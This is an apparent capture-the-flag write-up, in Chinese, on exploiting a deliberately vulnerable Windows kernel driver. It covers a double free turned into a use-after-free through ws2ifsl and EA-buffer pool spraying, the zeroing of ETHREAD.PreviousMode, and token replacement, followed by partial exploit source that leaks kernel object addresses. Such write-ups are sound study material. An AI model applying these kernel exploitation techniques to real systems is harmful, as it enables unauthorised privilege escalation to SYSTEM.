Windows Driver Exploit
知识点蛮多的
Driver 是个驱动,内容比较少,稍微看一下逻辑
驱动入口:DriverEntry,第一个函数是Windows给程序加了 _security_cookie
,然后初始化DriverObject
1 2 3 4 5 NTSTATUS __stdcall DriverEntry (PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { sub_14000610C (); return Init (DriverObject); }
初始化DriverObject。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 NTSTATUS __fastcall Init (PDRIVER_OBJECT DriverObject) { NTSTATUS result; NTSTATUS v3; _OWORD *DeviceExtension; struct _UNICODE_STRING DeviceName; struct _UNICODE_STRING DestinationString; PDEVICE_OBJECT DeviceObject; DeviceObject = 0 i64; RtlInitUnicodeString (&DeviceName, L"\\Device\\SIOCTL" ); result = IoCreateDevice (DriverObject, 0x30 u, &DeviceName, 0x22 u, 0x100 u, 0 , &DeviceObject); if ( result >= 0 ) { DriverObject->MajorFunction[0 ] = (PDRIVER_DISPATCH)DispatchCommon; DriverObject->MajorFunction[2 ] = (PDRIVER_DISPATCH)DispatchCommon; DriverObject->MajorFunction[14 ] = (PDRIVER_DISPATCH)DispatchControl; DriverObject->DriverUnload = (PDRIVER_UNLOAD)Unload; RtlInitUnicodeString (&DestinationString, L"\\DosDevices\\IoctlTest" ); v3 = IoCreateSymbolicLink (&DestinationString, &DeviceName); DeviceExtension = DeviceObject->DeviceExtension; *DeviceExtension = 0 i64; DeviceExtension[1 ] = 0 i64; DeviceExtension[2 ] = 0 i64; if ( v3 < 0 ) IoDeleteDevice (DeviceObject); return v3; } else { _mm_lfence(); } return result; }
DispatchCommon
1 2 3 4 5 6 7 8 9 #define IRP_MJ_CREATE 0x00 #define IRP_MJ_CLOSE 0x02 __int64 __fastcall DispatchCommon (__int64 a1, IRP *a2) { a2->IoStatus.Status = 0 ; a2->IoStatus.Information = 0 i64; IofCompleteRequest (a2, 0 ); return 0 i64; }
我们可以控制的是size的大小,并且这个size大小为0x1000的倍数,向上取整
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 #define IRP_MJ_DEVICE_CONTROL 0x0e __int64 __fastcall DispatchControl (PDEVICE_OBJECT pDeviceObject, IRP *irp) { struct _IO_STACK_LOCATION *CurrentStackLocation; unsigned int v3; PVOID DeviceExtension; ULONG ulInputBufferLength; ULONG ulOutputBufferLength; ULONG ulIoControlCode; void *__pStartAddr2; struct _MDL *__pMdl2; void *__pVirtualAddress; struct _MDL *__pMdl; char *buffer; unsigned int _usSize; PVOID ContiguousMemory; void *_pVirtualAddress; struct _MDL *Mdl; struct _MDL *_pMdl; PVOID pStartAddr2; PVOID _pStartAddr2; _DWORD *SystemBuffer; unsigned int usSize; PVOID pVirtualAddress; struct _MDL *pMdl; unsigned int pMapAddr; unsigned int _pMapAddr; CurrentStackLocation = irp->Tail.Overlay.CurrentStackLocation; v3 = 0 ; DeviceExtension = pDeviceObject->DeviceExtension; ulInputBufferLength = CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength; ulOutputBufferLength = CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength; if ( !ulInputBufferLength || !ulOutputBufferLength ) { v3 = 0xC000000D ; goto LABEL_34; } ulIoControlCode = CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode; switch ( ulIoControlCode ) { case 0x9C402400 : if ( ulInputBufferLength != 4 || ulOutputBufferLength != 8 ) goto LABEL_34; SystemBuffer = irp->AssociatedIrp.SystemBuffer; usSize = (*SystemBuffer + 0xFFF ) & 0xFFFFF000 ; pVirtualAddress = MmAllocateContiguousMemory (usSize, (PHYSICAL_ADDRESS)0xFFFFFFFFFFFFFFFF ui64); _pVirtualAddress = pVirtualAddress; if ( pVirtualAddress ) { pMdl = IoAllocateMdl (pVirtualAddress, usSize, 0 , 0 , 0 i64);/ _pMdl = pMdl; if ( pMdl ) { MmBuildMdlForNonPagedPool (pMdl); pMapAddr = (unsigned int )MmMapLockedPagesSpecifyCache (_pMdl, 1 , MmNonCached, 0 i64, 0 , 0x10 u); _pMapAddr = pMapAddr; if ( pMapAddr ) { *(_QWORD *)DeviceExtension = pMapAddr; *((_QWORD *)DeviceExtension + 1 ) = _pVirtualAddress; *((_QWORD *)DeviceExtension + 2 ) = _pMdl; Memset (void *)pMapAddr, 0xFF , usSize); *SystemBuffer = usSize; SystemBuffer[1 ] = _pMapAddr; irp->IoStatus.Information = 8 i64; goto LABEL_34; } LABEL_31: IoFreeMdl (_pMdl); } LABEL_29: MmFreeContiguousMemory (_pVirtualAddress); } return 0xC000009A i64; case 0x9C402404 : if ( ulInputBufferLength != 4 || ulOutputBufferLength != 12 ) goto LABEL_34; buffer = (char *)irp->AssociatedIrp.SystemBuffer; _usSize = (*(_DWORD *)buffer + 0xFFF ) & 0xFFFFF000 ; ContiguousMemory = MmAllocateContiguousMemory (_usSize, (PHYSICAL_ADDRESS)0xFFFFFFFFFFFFFFFF ui64); _pVirtualAddress = ContiguousMemory; if ( ContiguousMemory ) { Mdl = IoAllocateMdl (ContiguousMemory, _usSize, 0 , 0 , 0 i64); _pMdl = Mdl; if ( Mdl ) { MmBuildMdlForNonPagedPool (Mdl); pStartAddr2 = MmMapLockedPagesSpecifyCache (_pMdl, 1 , MmNonCached, 0 i64, 0 , 0x10 u); _pStartAddr2 = pStartAddr2; if ( pStartAddr2 ) { *((_QWORD *)DeviceExtension + 4 ) = _pVirtualAddress; *((_QWORD *)DeviceExtension + 3 ) = pStartAddr2; *((_QWORD *)DeviceExtension + 5 ) = _pMdl; Memset (pStartAddr2, 0xFF , _usSize); *(_DWORD *)buffer = _usSize; *(_QWORD *)(buffer + 4 ) = _pStartAddr2; irp->IoStatus.Information = 12 i64; goto LABEL_34; } goto LABEL_31; } goto LABEL_29; } return 0xC000009A i64; case 0x9C402408 : if ( !*(_QWORD *)DeviceExtension ) goto LABEL_17; __pMdl = (struct _MDL *)*((_QWORD *)DeviceExtension + 2 ); if ( !__pMdl || !*((_QWORD *)DeviceExtension + 1 ) ) goto LABEL_17; MmUnmapLockedPages (*(PVOID *)DeviceExtension, __pMdl); IoFreeMdl (*((PMDL *)DeviceExtension + 2 )); __pVirtualAddress = (void *)*((_QWORD *)DeviceExtension + 1 ); goto LABEL_16; case 0x9C40240C : __pStartAddr2 = (void *)*((_QWORD *)DeviceExtension + 3 ); if ( !__pStartAddr2 ) goto LABEL_17; __pMdl2 = (struct _MDL *)*((_QWORD *)DeviceExtension + 5 ); if ( !__pMdl2 || !*((_QWORD *)DeviceExtension + 4 ) ) goto LABEL_17; MmUnmapLockedPages (__pStartAddr2, __pMdl2); IoFreeMdl (*((PMDL *)DeviceExtension + 5 )); __pVirtualAddress = (void *)*((_QWORD *)DeviceExtension + 4 ); LABEL_16: MmFreeContiguousMemory (__pVirtualAddress); LABEL_17: irp->IoStatus.Information = 0 i64; goto LABEL_34; } v3 = 0xC0000010 ; LABEL_34: irp->IoStatus.Status = v3; IofCompleteRequest (irp, 0 ); return v3; }
MDL memory descriptor list
跨一系列连续虚拟内存地址的 I/O 缓冲区可以分布在多个物理页中,并且这些页面可以是不连续的。 操作系统使用 内存描述符列表 (MDL) 来描述虚拟内存缓冲区的物理页面布局。
StartVa:page开始的地址
ByteOffset:在page内的偏移
ByteCount: 大小
1 2 3 4 5 6 7 8 9 10 typedef struct _MDL { struct _MDL *Next; CSHORT Size; CSHORT MdlFlags; struct _EPROCESS *Process; PVOID MappedSystemVa; PVOID StartVa; ULONG ByteCount; ULONG ByteOffset; } MDL, *PMDL;
API MmAllocateContiguousMemory :分配一系列连续的NonPagedPool内存,并将其映射到系统地址空间,分配的内存未初始化
1 2 3 4 5 PVOID MmAllocateContiguousMemory ( [in] SIZE_T NumberOfBytes, [in] PHYSICAL_ADDRESS HighestAcceptableAddress ) ;
释放由 MmAllocateContiguousMemoryXxx 分配的一系列物理连续内存。
1 2 3 void MmFreeContiguousMemory ( [in] PVOID BaseAddress ) ;
给定缓冲区的起始地址和长度, IoAllocateMdl 分配内存描述符列表 (MDL) 足以映射缓冲区(NonPagedPool)。
1 2 3 4 5 6 7 8 9 10 11 PMDL IoAllocateMdl ( [in, optional] __drv_aliasesMem PVOID VirtualAddress, [in] ULONG Length, [in] BOOLEAN SecondaryBuffer, [in] BOOLEAN ChargeQuota, [in, out, optional] PIRP Irp ) ;result = (PMDL)ExAllocatePoolWithTag (NonPagedPoolNx, size, ' ldM' );
创建一个MDL结构体,而这个结构体描述给出的VurtualAddress
IoFreeMdl 释放调用方分配的内存描述符列表 (MDL) 。
1 2 3 void IoFreeMdl ( [in] PMDL Mdl ) ;
MmBuildMdlForNonPagedPool 接收指定非分页虚拟内存缓冲区的 MDL,并更新它以描述基础物理页。
1 2 3 void MmBuildMdlForNonPagedPool ( [in, out] PMDL MemoryDescriptorList ) ;
MmMapLockedPagesSpecifyCache 将 MDL 描述的物理页面映射到虚拟地址,并使调用方能够指定用于创建映射的缓存属性。
1 2 3 4 5 6 7 8 PVOID MmMapLockedPagesSpecifyCache ( [in] PMDL MemoryDescriptorList, [in] __drv_strictType(KPROCESSOR_MODE / enum _MODE,__drv_typeConst)KPROCESSOR_MODE AccessMode, [in] __drv_strictTypeMatch(__drv_typeCond)MEMORY_CACHING_TYPE CacheType, [in, optional] PVOID RequestedAddress, [in] ULONG BugCheckOnFailure, [in] ULONG Priority ) ;
映射 MDL 的 MmMapLockedPagesSpecifyCache 函数发现其既可以将 MDL 描述的虚拟地址缓冲区的物理页映射到内核虚拟地址空间中也可以映射到用户虚拟地址空间中,取决于其第二个参数 AccessMode
AccessMode:KernelMode 或 UserMode 。
1 2 3 4 5 typedef enum _MODE { KernelMode, UserMode, MaximumMode } MODE;
MmNonCached
:请求的内存不应由处理器缓存。
Debug 分配了两个NonPagedPool内存,在Free后并没有把相关位置置为0,可以多次free。
下断点调试
1 2 3 4 5 6 7 8 9 10 0 : kd> lm m s*Browse full module list start end module name fffff805`1b 010000 fffff805`1b 019000 sioctl (no symbols) 0 : kd> ba e1 sioctl+0x5020 1 : kd> p
0x9C402400
IoAllocateMdl,根据返回值确定一下MDL的大小
1 2 3 4 5 1 : kd> sioctl+0x521e : fffff80a`9852521 e ff150cceffff call qword ptr [sioctl+0x2030 (fffff80a`98522030 )] *ffff880ab958ed20 size: 120 previous size: 0 (Allocated) *Mdl
但是程序走到Memset会报错,因为地址不对,可以从汇编看出来使用32位地址截断
1 2 3 PAGE:000000014000526F mov ecx, r12d ; Dst PAGE:0000000140005272 mov edx, 0F Fh ; Val PAGE:0000000140005277 mov r8d, r15d ; Size
Io/NpFr/Ws2P 官方WP:第二届AliyunCTF官方writeup – 因为这里设计是给32位程序使用的回调,64位程序的用户态地址在发生integer truncation后往往是非法地址,预期是通过一个32位的程序完成利用
在VS里选择x86生成,0x9C402400
确实没有崩溃。
这里还必须得使用,因为如果 MmAllocateContiguousMemory
分配的内存被连续释放会蓝屏
思路是 DF 转化为 指定结构体的 UAF。
这里作者介绍了两种堆喷的对象
IopVerifierExAllocatePoolWithQuota的调用中会申请类型为NonPagedPoolNx的Pool
经典的NpFr
IO 这个结构大小可以控制,内容可以控制 ,品相相当不错
IopVerifierExAllocatePoolWithQuota:其上层调用如NtSetInformationFile、NtSetEaFile等函数都可以实现控制申请pool的大小,并写入内容。但是却存在一个问题,就是这类poolTag为IO的池,都会在IO结束时被释放,虽然被释放了,但是当前内核池的内容并没有立即被占用,内容还在。
相关内容:etw 事件管理器内核漏洞利用
ntkrnlImp.exe(ntoskrnl.exe)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 PVOID __fastcall IopVerifierExAllocatePoolWithQuota (__int64 a1, SIZE_T a2) { PVOID result; if ( !ViVerifierEnabled || (VfRuleClasses & 0xFFAFFFFF ) == 0 && (VfRuleClasses & 0x200000000 i64) == 0 && (VfRuleClasses & 0x400000000 i64) == 0 ) { return ExAllocatePoolWithQuotaTag (NonPagedPoolNx, a2, ' oI' ); } result = ExAllocatePoolWithTagPriority ( NonPagedPoolNx, a2, 0x20206F49 u, (EX_POOL_PRIORITY)((MmVerifierData & 0x10 | 0x40 u) >> 1 )); if ( !result ) RtlRaiseStatus (3221225626 i64); return result; }
交叉引用:NtSetEaFile,该函数内部检测DEVICE_OBJECT的Flags是否包含4(DO_BUFFERED_IO),因此第一个参数的句柄给的是PEAuth
的文件句柄,EVICE_OBJECT的Flags为0x44。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 NTSYSAPI NTSTATUS NTAPI NtSetEaFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID EaBuffer, IN ULONG EaBufferSize ) ;__int64 __fastcall NtSetEaFile (int a1, unsigned __int64 a2, unsigned __int64 a3, ULONG a4) v4 = (void *)a3;DeviceObject = IoGetRelatedDeviceObject (v12); Flags = DeviceObject->Flags; if ( (Flags & 4 ) != 0 ) { ErrorOffset = 0 ; v26 = a4; if ( a4 ) { v35 = 0 ; PoolWithQuota = (struct _FILE_FULL_EA_INFORMATION *)IopVerifierExAllocatePoolWithQuota (0 i64, a4); Irp->AssociatedIrp.MasterIrp = (_IRP *)PoolWithQuota; memmove (PoolWithQuota, v4, a4);
Ws2P 另外一个对象,作者给出 ws2ifsl
,可以看如下的文章了解一下
当调用NtCreateFile时,文件名设置为\Device\WS2IFSL\
,将调用DispatchCreate函数,函数将根据文件名中的_FILE_FULL_EA_INFORMATION.EaName
字符串进行判断,如果是NifsPvd,它将调用CreateProcessFile,如果是NifsSct,它将调用CreateSocketFile。
CreateProcessFile函数都创建内部对象,称为procData
。创建后,这些对象将保存在文件对象的_FILE_OBJECT.FsContext
中
ws2ifsl.sys!DispatchCreate
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 __int64 __fastcall DispatchCreate (__int64 a1, IRP *a2) { __int64 MasterIrp; struct _IO_STACK_LOCATION *CurrentStackLocation; __int64 v5; unsigned int ProcessFile; unsigned int v7; MasterIrp = (__int64)a2->AssociatedIrp.MasterIrp; if ( !MasterIrp ) goto LABEL_8; CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; if ( *(_BYTE *)(MasterIrp + 5 ) != 7 ) goto LABEL_8; if ( strcmp_0 ((const char *)(MasterIrp + 8 ), "NifsSct" ) ) { if ( !strcmp_0 ((const char *)(MasterIrp + 8 ), "NifsPvd" ) ) { ProcessFile = CreateProcessFile ((__int64)CurrentStackLocation->FileObject, a2->RequestorMode, MasterIrp); goto LABEL_7; } LABEL_8: v7 = -1073741811 ; goto LABEL_9; } LOBYTE (v5) = a2->RequestorMode; ProcessFile = CreateSocketFile (CurrentStackLocation->FileObject, v5, MasterIrp); LABEL_7: v7 = ProcessFile; LABEL_9: a2->IoStatus.Information = 0 i64; a2->IoStatus.Status = v7; IofCompleteRequest (a2, 0 ); return v7; }
ws2ifsl!CreateProcessFile,一个tag位Ws2P的池 ProcData
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 __int64 __fastcall CreateProcessFile (PFILE_OBJECT pFileObj, KPROCESSOR_MODE Mode, struct _IRP *Irp) { Blink = Irp->ThreadListEntry.Blink; Flink = Irp->ThreadListEntry.Flink; MasterIrp = Irp->AssociatedIrp.MasterIrp; Flags = *(void **)&Irp->Flags; LABEL_7: Object = 0 i64; v12 = ObReferenceObjectByHandle (Flags, 0x10 u, (POBJECT_TYPE)PsThreadType, Mode, &Object, 0 i64); _object = Object; if ( v12 >= 0 ) { v14 = IoThreadToProcess ((PETHREAD)Object); if ( v14 == IoGetCurrentProcess () ) { Pool2 = ExAllocatePool2 (0x61 i64, 0x110 i64, 'P2sW' ); _Pool2 = Pool2; if ( Pool2 ) { *(_DWORD *)Pool2 = 'corP' ; *(_QWORD *)(Pool2 + 8 ) = PsGetCurrentProcessId (); *(_DWORD *)(_Pool2 + 0x100 ) = 0 ; *(_QWORD *)(_Pool2 + 0x108 ) = 1 i64; LOBYTE (_Mode) = Mode; v12 = InitializeRequestQueue (_Pool2, (int )_object, _Mode, (int )MasterIrp, Blink); if ( v12 >= 0 ) { LOBYTE (__Mode) = Mode; v12 = InitializeCancelQueue (_Pool2, (int )_object, __Mode, (int )Flink, Blink); } if ( v12 >= 0 ) { pFileObj->FsContext = (PVOID)_Pool2; return 0 i64; }
InitializeRequestQueue && InitializeCancelQueue: 初始化Apc请求/取消队列
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 __int64 __fastcall InitializeRequestQueue (PVOID Pool, PVOID a2, char Mode, struct _IRP *a4, PVOID ApcContext) { ApcRoutine = a4; *((_BYTE *)Pool + 32 ) = 0 ; *((_QWORD *)Pool + 3 ) = (char *)Pool + 16 ; *((_QWORD *)Pool + 2 ) = (char *)Pool + 16 ; KeInitializeSpinLock ((PKSPIN_LOCK)Pool + 5 ); v8 = PsWrapApcWow64Thread (&ApcContext, &ApcRoutine); if ( v8 >= 0 ) { v10 = Mode; KeInitializeApc ( (char *)Pool + 48 , a2, 0 i64, guard_check_icall_nop, RequestRundownRoutine, ApcRoutine, v10, ApcContext); } return (unsigned int )v8; } __int64 __fastcall InitializeCancelQueue (PVOID pool, PVOID obj, char mode, struct _IRP *a4, PVOID ApcContext) { NTSTATUS v8; char v10; PVOID ApcRoutine; ApcRoutine = a4; *((_BYTE *)pool + 152 ) = 0 ; *((_QWORD *)pool + 18 ) = (char *)pool + 136 ; *((_QWORD *)pool + 17 ) = (char *)pool + 136 ; KeInitializeSpinLock ((PKSPIN_LOCK)pool + 20 ); v8 = PsWrapApcWow64Thread (&ApcContext, &ApcRoutine); if ( v8 >= 0 ) { v10 = mode; KeInitializeApc ( (char *)pool + 168 , obj, 0 i64, guard_check_icall_nop, CancelRundownRoutine, ApcRoutine, v10, ApcContext); } return (unsigned int )v8; }
释放的位置在DispatchClose函数中 ExFreePoolWithTag
1 2 3 4 5 6 7 8 9 FsContext = (PVOID *)a2->Tail.Overlay.CurrentStackLocation->FileObject->FsContext; if ( *(_DWORD *)FsContext == 'corP' ) { ObfDereferenceObject (FsContext[7 ]); DereferenceProcessContext (FsContext); LABEL_8: v4 = 0 ; goto LABEL_9; }
需要注意的是这个池大小 0x110,加上PoolHeader就是0x120
在CloseHandle时,调用ObfDereferenceObject
函数,也就是将这个位置上的值-1
。因此我们可以将ETHREAD.PreviousMode
从 1减为0。
因此大致流程
heap spray 减少碎片
allocate ContiguousMemory && MDL
free ContiguousMemory && MDL
使用 ws2ifsl 占位MDL (Ws2P ProcData)
double free ContiguousMemory && MDL
使用Io占位MDL,修改Ws2P偏移为28的值为ETHREAD.PreviousMode
CloseHandler 导致ETHREAD.PreviousMode
为0
NtWriteVirtualMemory 任意地址写,替换token
但是改成x86的程序后,导致泄露的EPROCESS地址被截断。
因此官方给出三个文件
helper.exe 64位,使用NtQuerySystemInfomation获取信息
poc.exe: 32位,
exp.exe:调用两个文件
使用了命名管道进行通信同步
必须等待回收资源才能减去1
Nu1L 提了一个关闭 dynbase,通过这个也可以修改
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 #include <Windows.h> #include <winternl.h> #include <iostream> #include <vector> #pragma comment(lib, "ntdll" ) #define DEVICE L"\\\\.\\IoctlTest" #define IOCTL_ALLOCATE32 0x9C402400 #define IOCTL_RELEASE32 0x9C402408 #define IOCTL_ALLOCATE64 0x9C402404 #define IOCTL_RELEASE64 0x9C40240C HANDLE g_hDevice; VOID Allocate64 (ULONG uSize) { BYTE szInbuffer[4 ] = { 0 }; BYTE szOutBuffer[12 ] = { 0 }; *(PULONG)szInbuffer = uSize; DWORD dwBytesReturned; BOOL ret = FALSE; ret = DeviceIoControl ( g_hDevice, IOCTL_ALLOCATE64, szInbuffer, sizeof (szInbuffer), szOutBuffer, sizeof (szOutBuffer), &dwBytesReturned, NULL ); if (FALSE == ret) { wprintf (L"[-] Error IOCTL_ALLOCATE64\r\n" ); exit (1 ); } } VOID Allocate32 (ULONG uSize) { BYTE szInbuffer[4 ] = { 0 }; BYTE szOutBuffer[8 ] = { 0 }; *(PULONG)szInbuffer = uSize; DWORD dwBytesReturned; BOOL ret = FALSE; ret = DeviceIoControl ( g_hDevice, IOCTL_ALLOCATE32, szInbuffer, sizeof (szInbuffer), szOutBuffer, sizeof (szOutBuffer), &dwBytesReturned, NULL ); if (FALSE == ret) { wprintf (L"[-] Error IOCTL_ALLOCATE32\r\n" ); exit (1 ); } } VOID Free64 () { BYTE buffer[] = "h5" ; BOOL ret = FALSE; DWORD dwBytesReturned = 0 ; ret = DeviceIoControl ( g_hDevice, IOCTL_RELEASE64, buffer, sizeof (buffer), buffer, sizeof (buffer), &dwBytesReturned, NULL ); if (FALSE == ret) { wprintf (L"Error IOCTL_RELEASE64\r\n" ); exit (1 ); }; } VOID Free32 () { BYTE buffer[] = "h5" ; BOOL ret = FALSE; DWORD dwBytesReturned = 0 ; ret = DeviceIoControl ( g_hDevice, IOCTL_RELEASE32, buffer, sizeof (buffer), buffer, sizeof (buffer), &dwBytesReturned, NULL ); if (FALSE == ret) { wprintf (L"Error IOCTL_RELEASE32\r\n" ); exit (1 ); }; } ULONG64 g_SystemEprocess; ULONG64 g_CurrentEprocess; ULONG64 g_ExploitEthread; HANDLE g_ThreadExploitHandle; DWORD g_CurrentPid; typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { USHORT UniqueProcessId; USHORT CreatorBackTraceIndex; UCHAR ObjectTypeIndex; UCHAR HandleAttributes; USHORT HandleValue; PVOID Object; ULONG GrantedAccess; LONG __PADDING__[1 ]; } SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1 ]; } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; #define SystemModuleInformation (SYSTEM_INFORMATION_CLASS)0x0b #define SystemHandleInformation (SYSTEM_INFORMATION_CLASS)0x10 #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) VOID LeakByQuerySystemInfomation () { DWORD CurPid = GetCurrentProcessId (); g_CurrentPid = CurPid; HANDLE hSelf = OpenProcess (PROCESS_QUERY_INFORMATION, 0 , CurPid); if (hSelf == INVALID_HANDLE_VALUE || hSelf == NULL ) { wprintf (L"[-] Error OpenProcess\r\n" ); exit (1 ); } PSYSTEM_HANDLE_INFORMATION HandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc (0x100 ); ULONG OutBufLen = 0 ; NTSTATUS status = NtQuerySystemInformation (SystemHandleInformation, HandleInfo, 0x100 , &OutBufLen); if (status == STATUS_INFO_LENGTH_MISMATCH) { free (HandleInfo); HandleInfo = (SYSTEM_HANDLE_INFORMATION*)malloc (OutBufLen); status = NtQuerySystemInformation (SystemHandleInformation, HandleInfo, OutBufLen, &OutBufLen); } if (HandleInfo == NULL ) { wprintf (L"[-] Error NtQuerySystemInformation SystemHandleInformation\r\n" ); exit (1 ); } for (int i = 0 ; i < HandleInfo->NumberOfHandles; i++) { SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)HandleInfo->Handles[i]; if (handleInfo.UniqueProcessId == CurPid) { wprintf (L"[*] PID %d\tObject %#llx\n" , handleInfo.UniqueProcessId, (ULONG64)handleInfo.Object); break ; } } for (ULONG i = 0 ; i < HandleInfo->NumberOfHandles; i++) { SYSTEM_HANDLE_TABLE_ENTRY_INFO HandleEntry = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)HandleInfo->Handles[i]; if (HandleEntry.UniqueProcessId == CurPid && HandleEntry.HandleValue == (ULONG)g_ThreadExploitHandle) { g_ExploitEthread = (ULONG64)HandleEntry.Object; wprintf (L"[*] Exploit thread PID: %d\thandle: %#x\t_KTHREAD: %#llx\n" , HandleEntry.UniqueProcessId, HandleEntry.HandleValue, g_ExploitEthread); } if (HandleEntry.UniqueProcessId == CurPid && HandleEntry.HandleValue == (ULONG)hSelf) { g_CurrentEprocess = (ULONG64)HandleEntry.Object; wprintf (L"[*] Current PID: %d\thandle: %#x\t_EPROCESS: %#llx\n" , HandleEntry.UniqueProcessId, (ULONG)hSelf, g_CurrentEprocess); } if (HandleEntry.UniqueProcessId == 0x4 && HandleEntry.HandleValue == 0x4 ) { g_SystemEprocess = (ULONG64)HandleEntry.Object; wprintf (L"[*] System _EPROCESS: 0x%llx\r\n" , g_SystemEprocess); } if (g_ExploitEthread != 0 && g_CurrentEprocess != 0 && g_SystemEprocess) { free (HandleInfo); break ; } } if (g_ExploitEthread == 0 || g_CurrentEprocess == 0 || g_SystemEprocess == 0 ) { wprintf (L"[-] Error Leak\n" ); exit (1 ); } } typedef struct _FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; UCHAR Flags; UCHAR EaNameLength; USHORT EaValueLength; CHAR EaName[1 ]; } FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION; typedef struct _PROC_DATA { HANDLE ApcThread; PVOID RequestQueueRoutine; PVOID CancelQueueRoutine; PVOID ApcContext; PVOID unknown3; } PROC_DATA, * PPROC_DATA; HANDLE g_ThreadApcHandle; const ULONG64 CountSprayWs2P = 0x100 ;const ULONG64 CountSprayPipe = 0x100 ;const ULONG64 CountSprayEaFile = 0x1000 ;DWORD CountConcurrentSprayEaFile = 0x0 ; const ULONG64 CountSprayMm = 0x1000 ;HANDLE* g_ProcessList; HANDLE CreateProcessFileHandle (HANDLE hThreadApc) { UNICODE_STRING deviceName; RtlInitUnicodeString (&deviceName, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd" ); OBJECT_ATTRIBUTES object; InitializeObjectAttributes (&object, &deviceName, 0 , NULL , NULL ); PFILE_FULL_EA_INFORMATION pFileEa = (PFILE_FULL_EA_INFORMATION)malloc (sizeof (FILE_FULL_EA_INFORMATION) + sizeof ("NifsPvd" ) + sizeof (PROC_DATA)); if (pFileEa == NULL ) { wprintf (L"Error malloc\r\n" ); exit (1 ); } pFileEa->NextEntryOffset = 0 ; pFileEa->Flags = 0 ; pFileEa->EaNameLength = sizeof ("NifsPvd" ) - 1 ; 